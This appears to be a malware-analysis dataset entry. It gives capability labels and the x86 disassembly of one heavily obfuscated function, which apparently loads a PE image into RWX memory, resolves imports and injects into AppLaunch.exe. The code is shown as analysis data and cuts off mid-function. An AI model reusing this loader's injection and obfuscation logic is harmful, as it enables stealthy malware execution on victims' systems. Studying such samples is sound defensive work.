Function at 0x40eab0
Capabilities:
Allocate or change rwx memory
Check os version
Create thread
Get number of processors
Get process heap flags
Inspect section memory permissions
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov eax, 0x499f0
call fcn.0041cbe0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x499f0], eax
mov eax, dword [0x47d080]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x499e8], 0xc6b69926
mov eax, dword [ebp - 0x499e8]
mov dword [ebp - 0x499f4], eax
sub eax, 0x8066758a
je 0x4108fb
jmp 0x40eaf8
mov eax, dword [ebp - 0x499f4]
sub eax, 0x81c7101c
je 0x4104e1
jmp 0x40eb0e
mov eax, dword [ebp - 0x499f4]
sub eax, 0x81ff2623
je 0x410d2e
jmp 0x40eb24
mov eax, dword [ebp - 0x499f4]
sub eax, 0x843f1abd
je 0x411892
jmp 0x40eb3a
mov eax, dword [ebp - 0x499f4]
sub eax, 0x845d1c0b
je 0x412b3b
jmp 0x40eb50
mov eax, dword [ebp - 0x499f4]
sub eax, 0x8586b4bc
je 0x411663
jmp 0x40eb66
mov eax, dword [ebp - 0x499f4]
sub eax, 0x85d8c7e3
je 0x4121d2
jmp 0x40eb7c
mov eax, dword [ebp - 0x499f4]
sub eax, 0x8840c569
je 0x40fe7a
jmp 0x40eb92
mov eax, dword [ebp - 0x499f4]
sub eax, 0x8899011c
je 0x411e1f
jmp 0x40eba8
mov eax, dword [ebp - 0x499f4]
sub eax, 0x8a660d5a
je 0x411263
jmp 0x40ebbe
mov eax, dword [ebp - 0x499f4]
sub eax, 0x8ab7d63e
je 0x41036c
jmp 0x40ebd4
mov eax, dword [ebp - 0x499f4]
sub eax, 0x8c63f81f
je 0x4104f0
jmp 0x40ebea
mov eax, dword [ebp - 0x499f4]
sub eax, 0x8c75a96f
je 0x41035d
jmp 0x40ec00
mov eax, dword [ebp - 0x499f4]
sub eax, 0x8ceb94cb
je 0x410797
jmp 0x40ec16
mov eax, dword [ebp - 0x499f4]
sub eax, 0x8de80218
je 0x410889
jmp 0x40ec2c
mov eax, dword [ebp - 0x499f4]
sub eax, 0x8e6a9df2
je 0x412575
jmp 0x40ec42
mov eax, dword [ebp - 0x499f4]
sub eax, 0x8e6cd40c
je 0x412a0e
jmp 0x40ec58
mov eax, dword [ebp - 0x499f4]
sub eax, 0x901a9cbe
je 0x410396
jmp 0x40ec6e
mov eax, dword [ebp - 0x499f4]
sub eax, 0x909ba53c
je 0x410bb6
jmp 0x40ec84
mov eax, dword [ebp - 0x499f4]
sub eax, 0x90a15c39
je 0x411da9
jmp 0x40ec9a
mov eax, dword [ebp - 0x499f4]
sub eax, 0x90e85613
je 0x4126bb
jmp 0x40ecb0
mov eax, dword [ebp - 0x499f4]
sub eax, 0x95b7d01f
je 0x4117ea
jmp 0x40ecc6
mov eax, dword [ebp - 0x499f4]
sub eax, 0x95e903ea
je 0x410a48
jmp 0x40ecdc
mov eax, dword [ebp - 0x499f4]
sub eax, 0x96fdf48c
je 0x41045a
jmp 0x40ecf2
mov eax, dword [ebp - 0x499f4]
sub eax, 0x9742b5cc
je 0x412adb
jmp 0x40ed08
mov eax, dword [ebp - 0x499f4]
sub eax, 0x981912c0
je 0x411abb
jmp 0x40ed1e
mov eax, dword [ebp - 0x499f4]
sub eax, 0x9b4d3409
je 0x41114b
jmp 0x40ed34
mov eax, dword [ebp - 0x499f4]
sub eax, 0x9d113865
je 0x40fc51
jmp 0x40ed4a
mov eax, dword [ebp - 0x499f4]
sub eax, 0x9e3033c5
je 0x41022c
jmp 0x40ed60
mov eax, dword [ebp - 0x499f4]
sub eax, 0x9f5ff00e
je 0x410e0a
jmp 0x40ed76
mov eax, dword [ebp - 0x499f4]
sub eax, 0x9f9a9ba7
je 0x41261b
jmp 0x40ed8c
mov eax, dword [ebp - 0x499f4]
sub eax, 0xa0169f4e
je 0x40ffd1
jmp 0x40eda2
mov eax, dword [ebp - 0x499f4]
sub eax, 0xa1ae1013
je 0x4113e3
jmp 0x40edb8
mov eax, dword [ebp - 0x499f4]
sub eax, 0xa3a3ee95
je 0x4101cf
jmp 0x40edce
mov eax, dword [ebp - 0x499f4]
sub eax, 0xa4759cd9
je 0x411434
jmp 0x40ede4
mov eax, dword [ebp - 0x499f4]
sub eax, 0xa506d7b7
je 0x410923
jmp 0x40edfa
mov eax, dword [ebp - 0x499f4]
sub eax, 0xa5469fce
je 0x41228b
jmp 0x40ee10
mov eax, dword [ebp - 0x499f4]
sub eax, 0xa67b3e39
je 0x410989
jmp 0x40ee26
mov eax, dword [ebp - 0x499f4]
sub eax, 0xab2754e1
je 0x412979
jmp 0x40ee3c
mov eax, dword [ebp - 0x499f4]
sub eax, 0xac411878
je 0x4118dd
jmp 0x40ee52
mov eax, dword [ebp - 0x499f4]
sub eax, 0xadd7ccea
je 0x412374
jmp 0x40ee68
mov eax, dword [ebp - 0x499f4]
sub eax, 0xafd7daac
je 0x40ff80
jmp 0x40ee7e
mov eax, dword [ebp - 0x499f4]
sub eax, 0xb1ed7639
je 0x4126ca
jmp 0x40ee94
mov eax, dword [ebp - 0x499f4]
sub eax, 0xb2396c8e
je 0x412b83
jmp 0x40eeaa
mov eax, dword [ebp - 0x499f4]
sub eax, 0xb37a6794
je 0x40fea8
jmp 0x40eec0
mov eax, dword [ebp - 0x499f4]
sub eax, 0xb6f41bd5
je 0x40fca2
jmp 0x40eed6
mov eax, dword [ebp - 0x499f4]
sub eax, 0xb8136281
je 0x4129ad
jmp 0x40eeec
mov eax, dword [ebp - 0x499f4]
sub eax, 0xbc042e25
je 0x412b17
jmp 0x40ef02
mov eax, dword [ebp - 0x499f4]
sub eax, 0xbe959fa9
je 0x410b61
jmp 0x40ef18
mov eax, dword [ebp - 0x499f4]
sub eax, 0xbf606ebc
je 0x41156f
jmp 0x40ef2e
mov eax, dword [ebp - 0x499f4]
sub eax, 0xc0723676
je 0x411fe7
jmp 0x40ef44
mov eax, dword [ebp - 0x499f4]
sub eax, 0xc0c88bc8
je 0x4107d8
jmp 0x40ef5a
mov eax, dword [ebp - 0x499f4]
sub eax, 0xc1b372f2
je 0x411b4b
jmp 0x40ef70
mov eax, dword [ebp - 0x499f4]
sub eax, 0xc294bb26
je 0x412524
jmp 0x40ef86
mov eax, dword [ebp - 0x499f4]
sub eax, 0xc3155fe8
je 0x411654
jmp 0x40ef9c
mov eax, dword [ebp - 0x499f4]
sub eax, 0xc35e0e96
je 0x411f62
jmp 0x40efb2
mov eax, dword [ebp - 0x499f4]
sub eax, 0xc39ea5fa
je 0x411990
jmp 0x40efc8
mov eax, dword [ebp - 0x499f4]
sub eax, 0xc6b69926
je 0x40fc01
jmp 0x40efde
mov eax, dword [ebp - 0x499f4]
sub eax, 0xc790948a
je 0x412b50
jmp 0x40eff4
mov eax, dword [ebp - 0x499f4]
sub eax, 0xc97c039c
je 0x411ff6
jmp 0x40f00a
mov eax, dword [ebp - 0x499f4]
sub eax, 0xca8c5839
je 0x4118b3
jmp 0x40f020
mov eax, dword [ebp - 0x499f4]
sub eax, 0xcb55fab7
je 0x40fde8
jmp 0x40f036
mov eax, dword [ebp - 0x499f4]
sub eax, 0xcba3098f
je 0x410ca9
jmp 0x40f04c
mov eax, dword [ebp - 0x499f4]
sub eax, 0xce346c44
je 0x41002e
jmp 0x40f062
mov eax, dword [ebp - 0x499f4]
sub eax, 0xcfdf9b66
je 0x411a80
push eax
mov eax, esp
mov dword [ebp - 0x49984], eax
push eax
mov eax, esp
mov dword [ebp - 0x49980], eax
push eax
mov eax, esp
mov dword [ebp - 0x4997c], eax
push eax
mov eax, esp
mov dword [ebp - 0x49978], eax
push eax
mov eax, esp
mov dword [ebp - 0x49974], eax
push eax
mov eax, esp
mov dword [ebp - 0x49970], eax
sub esp, 0x78
mov eax, esp
mov dword [ebp - 0x4996c], eax
mov dword [ebp - 0x499e8], 0x9d113865
jmp 0x412bc8
mov eax, dword [0x47e534]
mov ecx, dword [0x47e530]
mov edx, eax
add edx, 0xcb668e62
sub edx, 1
sub edx, 0xcb668e62
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa4c7642
mov ecx, 0xb6f41bd5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x499e8], eax
jmp 0x412bc8
mov eax, dword [ebp - 0x499f0]
push eax
mov ecx, esp
mov dword [ebp - 0x49968], ecx
sub esp, 8
mov ecx, esp
mov dword [ebp - 0x49964], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x49960], ecx
mov dword [ebp - 0x4998c], eax
lea ecx, [ebp - 0x4980c]
lea eax, [0x42cd3c]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x49800
call fcn.0041da40
add esp, 0xc
lea eax, [ebp - 0x4980c]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x49800
call fcn.0040dba0
add esp, 8
lea eax, [ebp - 0x4980c]
mov dword [ebp - 0x4998c], eax
mov eax, dword [ebp - 0x4998c]
mov dword [ebp - 0x49990], eax
mov eax, dword [ebp - 0x4998c]
mov ecx, dword [ebp - 0x49990]
mov ecx, dword [ecx + 0x3c]
sub eax, 0x18366382
add eax, ecx
add eax, 0x18366382
mov dword [ebp - 0x49994], eax
mov eax, dword [ebp - 0x49994]
cmp dword [eax], 0x4550
setne al
and al, 1
mov byte [ebp - 0x49959], al
mov eax, dword [0x47e534]
mov ecx, dword [0x47e530]
mov edx, eax
add edx, 0x418e7ecb
sub edx, 1
sub edx, 0x418e7ecb
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa4c7642
mov ecx, 0xd56bd3cb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x499e8], eax
jmp 0x412bc8
mov dword [ebp - 0x499e8], 0x7fe10dc6
jmp 0x412bc8
mov eax, dword [ebp - 0x49994]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x49958], eax
mov eax, 0xafd7daac
mov ecx, 0xb37a6794
cmp dword [ebp - 0x49864], 0
cmovne eax, ecx
mov dword [ebp - 0x499e8], eax
jmp 0x412bc8
mov ecx, dword [0x47e534]
mov eax, dword [0x47e530]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xeb651e42
mov ecx, 0x741d29b0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x499e8], eax
jmp 0x412bc8
mov eax, dword [0x47e534]
mov ecx, dword [0x47e530]
mov edx, eax
add edx, 0x1fc8284d
sub edx, 1
sub edx, 0x1fc8284d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2a0edd5e
mov ecx, 0xa0169f4e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x499e8], eax
jmp 0x412bc8
mov eax, dword [ebp - 0x49994]
mov dword [ebp - 0x49954], eax
mov eax, dword [0x47e534]
mov ecx, dword [0x47e530]
mov edx, eax
sub edx, 0xc344a20e
sub edx, 1
add edx, 0xc344a20e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2a0edd5e
mov ecx, 0xce346c44
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x499e8], eax
jmp 0x412bc8
mov dword [ebp - 0x499e8], 0xef1bbbdc
jmp 0x412bc8
mov eax, dword [ebp - 0x49994]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0x4981c]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x4999c], eax
mov dword [ebp - 0x499e8], 0xe460b81
jmp 0x412bc8
mov ecx, dword [ebp - 0x49998]
mov eax, dword [ebp - 0x4998c]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x400
call fcn.0041da40
add esp, 0xc
mov eax, dword [ebp - 0x49994]
mov dword [ebp - 0x49944], eax
mov dword [ebp - 0x499e8], 0x7a96bcc0
jmp 0x412bc8
mov dword [ebp - 0x499e8], 0x8ab7d63e
jmp 0x412bc8
mov eax, dword [ebp - 0x49994]
movzx esi, word [eax + 6]
mov edx, dword [ebp - 0x49940]
mov eax, 0xe1587a1d
mov ecx, 0x901a9cbe
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x499e8], eax
jmp 0x412bc8
mov eax, dword [ebp - 0x49998]
mov ecx, dword [ebp - 0x499a0]
imul edx, dword [ebp - 0x499a4], 0x28
add ecx, edx
mov ecx, dword [ecx + 0xc]
add eax, 0x56e83454
add eax, ecx
sub eax, 0x56e83454
mov dword [ebp - 0x4993c], eax
mov eax, dword [ebp - 0x4998c]
mov ecx, dword [ebp - 0x499a0]
imul edx, dword [ebp - 0x499a4], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x14]
sub eax, 0xc66ddc8
add eax, ecx
add eax, 0xc66ddc8
mov dword [ebp - 0x49938], eax
mov eax, dword [ebp - 0x499a0]
mov dword [ebp - 0x49934], eax
mov eax, dword [ebp - 0x499a4]
mov dword [ebp - 0x49930], eax
mov dword [ebp - 0x499e8], 0x1992351c
jmp 0x412bc8
mov eax, dword [ebp - 0x49934]
mov ecx, dword [ebp - 0x49930]
imul ecx, ecx, 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov edx, dword [ebp - 0x4993c]
mov ecx, dword [ebp - 0x49938]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.0041da40
add esp, 0xc
mov eax, dword [0x47e534]
mov ecx, dword [0x47e530]
mov edx, eax
add edx, 0xe04fd95f
sub edx, 1
sub edx, 0xe04fd95f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4e964ce4
mov ecx, 0x81c7101c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x499e8], eax
jmp 0x412bc8
mov dword [ebp - 0x499e8], 0x8c63f81f
jmp 0x412bc8
mov eax, dword [ebp - 0x499a4]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 1
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x499a4], eax
mov dword [ebp - 0x499e8], 0x33b9b54c
jmp 0x412bc8
mov eax, dword [ebp - 0x499c0]
mov dword [ebp - 0x49914], eax
mov dword [ebp - 0x499e8], 0xd4e9d09d
jmp 0x412bc8
mov eax, dword [ebp - 0x499bc]
mov ax, word [eax]
mov word [ebp - 0x4990e], ax
mov dword [ebp - 0x499e8], 0x44d7b02f
jmp 0x412bc8
mov eax, dword [ebp - 0x49908]
mov edx, dword [ebp - 0x49904]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov ecx, dword [eax]
mov edx, dword [ebp - 0x4990c]
add ecx, 0xffa89d0e
add ecx, edx
sub ecx, 0xffa89d0e
mov dword [eax], ecx
mov dword [ebp - 0x499e8], 0x5f4ee289
jmp 0x412bc8
mov eax, dword [ebp - 0x499c0]
add eax, 0x748b37c
add eax, 1
sub eax, 0x748b37c
mov dword [ebp - 0x499c0], eax
mov dword [ebp - 0x499e8], 0xa506d7b7
jmp 0x412bc8
mov dword [ebp - 0x499e8], 0x8ceb94cb
jmp 0x412bc8
mov eax, dword [0x47e534]
mov ecx, dword [0x47e530]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd1214782
mov ecx, 0xe435f96d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x499e8], eax
jmp 0x412bc8
mov dword [ebp - 0x499e8], 0xd7c62afd
jmp 0x412bc8
mov dword [ebp - 0x499e8], 0x2f518423
jmp 0x412bc8
mov ecx, dword [0x47e534]
mov eax, dword [0x47e530]
mov edx, ecx
add edx, 0x7bf6b371
sub edx, 1
sub edx, 0x7bf6b371
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd6d5591c
mov ecx, 0x60df630c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x499e8], eax
jmp 0x412bc8
mov dword [ebp - 0x499e8], 0xf6f4da84
jmp 0x412bc8
mov eax, dword [ebp - 0x498f0]
mov dword [ebp - 0x499cc], eax
mov eax, dword [ebp - 0x499cc]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x499d0], eax
cmp dword [ebp - 0x499d0], 0
setne al
and al, 1
mov byte [ebp - 0x498e9], al
mov ecx, dword [0x47e534]
mov eax, dword [0x47e530]
mov edx, ecx
sub edx, 0x5d2f110d
sub edx, 1
add edx, 0x5d2f110d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb8136281
mov ecx, 0x136b02bc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x499e8], eax
jmp 0x412bc8
mov eax, dword [ebp - 0x49998]
mov ecx, dword [ebp - 0x499c4]
imul edx, dword [ebp - 0x499c8], 0x14
add ecx, edx
mov edx, dword [ecx + 0x10]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0x498e8], eax
mov dword [ebp - 0x499e8], 0x6c8499fc
jmp 0x412bc8
mov dword [ebp - 0x499e8], 0xf1b33308
jmp 0x412bc8
mov eax, dword [ebp - 0x499d8]
add eax, 0xfef9ce28
add eax, 1
sub eax, 0xfef9ce28
mov dword [ebp - 0x498c8], eax
mov dword [ebp - 0x499e8], 0x7f0e9283
jmp 0x412bc8
mov eax, dword [0x47e534]
mov ecx, dword [0x47e530]
mov edx, eax
add edx, 0x991c9c8e
sub edx, 1
sub edx, 0x991c9c8e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2fb70650
mov ecx, 0xa4759cd9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x499e8], eax
jmp 0x412bc8
mov dword [ebp - 0x499e8], 0x4a8bbe1f
jmp 0x412bc8
mov eax, dword [0x47e534]
mov ecx, dword [0x47e530]
mov edx, eax
add edx, 0xbd2e4312
sub edx, 1
sub edx, 0xbd2e4312
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd548d141
mov ecx, 0x738448e8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x499e8], eax
jmp 0x412bc8
mov dword [ebp - 0x499e8], 0x8586b4bc
jmp 0x412bc8
mov eax, dword [ebp - 0x498bc]
movzx esi, word [eax]
mov edx, dword [ebp - 0x498c0]
mov eax, 0xa5469fce
mov ecx, 0xf70d450a
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x499e8], eax
jmp 0x412bc8
mov eax, dword [ebp - 0x498b4]
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x20000000
mov ecx, 0xffffffff
xor ecx, 0xbc53941d
or eax, edx
or ecx, 0xbc53941d
xor eax, 0xffffffff
and eax, ecx
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x498ad], al
mov ecx, dword [0x47e534]
mov eax, dword [0x47e530]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x9742b5cc
mov ecx, 0x843f1abd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x499e8], eax
jmp 0x412bc8
mov dl, byte [ebp - 0x498ad]
mov eax, 0xac411878
mov ecx, 0xca8c5839
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x499e8], eax
jmp 0x412bc8
mov eax, dword [ebp - 0x49984]
mov dword [eax], 0x40
mov dword [ebp - 0x499e8], 0x236940ed
jmp 0x412bc8
mov eax, dword [ebp - 0x49980]
mov eax, dword [eax]
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x40000000
mov ecx, 0xffffffff
xor ecx, 0xfc425d53
or eax, edx
or ecx, 0xfc425d53
xor eax, 0xffffffff
and eax, ecx
mov dword [ebp - 0x498ac], eax
mov dword [ebp - 0x499e8], 0x7b0d0320
jmp 0x412bc8
mov ecx, dword [0x47e534]
mov eax, dword [0x47e530]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x7a581403
mov ecx, 0xef56be1a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x499e8], eax
jmp 0x412bc8
mov edx, dword [ebp - 0x498a4]
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x40000000
mov eax, 0xffffffff
xor eax, 0xbdb237b5
or edx, ecx
or eax, 0xbdb237b5
xor edx, 0xffffffff
and edx, eax
mov eax, 0xf1c828e8
mov ecx, 0x4ba8f157
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x499e8], eax
jmp 0x412bc8
mov dl, byte [ebp - 0x4989d]
mov eax, 0xf1c828e8
mov ecx, 0xff2c8a34
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x499e8], eax
jmp 0x412bc8
mov ecx, dword [0x47e534]
mov eax, dword [0x47e530]
mov edx, ecx
sub edx, 0x7f2875a1
sub edx, 1
add edx, 0x7f2875a1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x845d1c0b
mov ecx, 0x8899011c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x499e8], eax
jmp 0x412bc8
mov eax, dword [ebp - 0x4989c]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x49895], al
mov ecx, dword [0x47e534]
mov eax, dword [0x47e530]
mov edx, ecx
sub edx, 0x2c1979a5
sub edx, 1
add edx, 0x2c1979a5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x845d1c0b
mov ecx, 0x6276e6e9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x499e8], eax
jmp 0x412bc8
mov ecx, dword [0x47e534]
mov eax, dword [0x47e530]
mov edx, ecx
add edx, 0xb9af334c
sub edx, 1
sub edx, 0xb9af334c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc790948a
mov ecx, 0xe95f3e40
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x499e8], eax
jmp 0x412bc8
mov dword [ebp - 0x499e8], 0xc97c039c
jmp 0x412bc8
mov dword [ebp - 0x499e8], 0xfa7859f4
jmp 0x412bc8
mov eax, dword [ebp - 0x499e4]
mov dword [ebp - 0x49888], eax
mov ecx, dword [0x47e534]
mov eax, dword [0x47e530]
mov edx, ecx
add edx, 0x4bc85904
sub edx, 1
sub edx, 0x4bc85904
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x2b4e7827
mov ecx, 0x60fca4d0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x499e8], eax
jmp 0x412bc8
mov ecx, dword fs:[0x30]
mov eax, dword [ebp - 0x4997c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x4997c]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0xc
add ecx, eax
xor eax, eax
sub eax, ecx
mov ecx, dword [eax]
mov eax, dword [ebp - 0x49978]
mov dword [eax], ecx
mov eax, dword [ebp - 0x49978]
mov eax, dword [eax]
sub eax, 0x6fa7d277
mov ecx, dword [eax + 0x6fa7d28b]
xor eax, eax
sub eax, 8
add ecx, eax
mov eax, dword [ebp - 0x49974]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x49998]
mov eax, dword [ebp - 0x4997c]
mov eax, dword [eax]
sub eax, 0x21891ec0
mov dword [eax + 0x21891ec8], ecx
mov ecx, dword [ebp - 0x49998]
mov eax, dword [ebp - 0x49974]
mov eax, dword [eax]
add eax, 0xd9c62be2
add eax, 0x18
sub eax, 0xd9c62be2
mov dword [eax], ecx
mov eax, dword [ebp - 0x49974]
mov ecx, dword [eax]
xor eax, eax
sub eax, 0x24
sub ecx, eax
mov eax, dword [ebp - 0x49970]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x4996c]
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x78
call fcn.0041da40
add esp, 0xc
mov eax, dword [ebp - 0x49994]
add eax, 0x18
add eax, 0x60
add eax, 0x70
mov dword [ebp - 0x49884], eax
mov dword [ebp - 0x499e8], 0xadd7ccea
jmp 0x412bc8
mov ecx, dword [0x47e534]
mov eax, dword [0x47e530]
mov edx, ecx
add edx, 0x56d4e1c0
sub edx, 1
sub edx, 0x56d4e1c0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb2396c8e
mov ecx, 0x37908664
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x499e8], eax
jmp 0x412bc8
mov eax, dword [0x47e534]
mov ecx, dword [0x47e530]
mov edx, eax
sub edx, 0x840fdb69
sub edx, 1
add edx, 0x840fdb69
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x158efd4e
mov ecx, 0x8e6a9df2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x499e8], eax
jmp 0x412bc8
mov eax, dword [ebp - 0x49998]
mov ecx, dword [ebp - 0x49994]
mov ecx, dword [ecx + 0x28]
sub eax, 0x118c9bf8
add eax, ecx
add eax, 0x118c9bf8
mov dword [ebp - 0x49874], eax
mov ecx, dword [0x47e534]
mov eax, dword [0x47e530]
mov edx, ecx
sub edx, 0xcf09a91e
